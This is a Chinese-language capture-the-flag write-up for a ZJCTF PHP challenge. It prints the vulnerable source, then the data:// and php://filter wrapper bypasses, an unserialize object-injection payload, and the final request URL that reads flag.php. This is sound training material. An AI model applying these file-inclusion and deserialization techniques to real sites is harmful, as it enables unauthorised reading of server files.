意料之外,没啥难度的8分题目。

    1. <?php
    2. $text = $_GET["text"];
    3. $file = $_GET["file"];
    4. $password = $_GET["password"];
    5. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    7. if(preg_match("/flag/",$file)){
    8. echo "Not now!";
    9. exit();
    10. }else{
    11. include($file); //useless.php
    12. $password = unserialize($password);
    13. echo $password;
    14. }
    15. }
    16. else{
    17. highlight_file(__FILE__);
    18. }
    19. ?>

    两个需要绕过的点:

    1. isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"),使用data://text/plain,welcome to the zjctf绕过,注意这里不能使用php://input来绕过,传过去会变成这种形式:image.png
    2. preg_match("/flag/",$file),不让你直接读取flag.php,可以看到下面还有一处包含文件,并且注释写了useless.php,所以使用php://filter/read=convert.base64-encode/resource=useless.php,得到了useless.php的源码: ```php <?php

    class Flag{ //flag.php
    public $file;
    public function __tostring(){
    if(isset($this->file)){
    echo file_get_contents($this->file); echo “
    “; return (“U R SO CLOSE !///COME ON PLZ”); }
    }
    }
    ?>

    1. 再看上面
    2. ```php
    3. $password = unserialize($password);
    4. echo $password;

    将Flag类的file赋值为flag.php,然后序列化,最后将字符串传给password即可。
    payload:

    1. ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}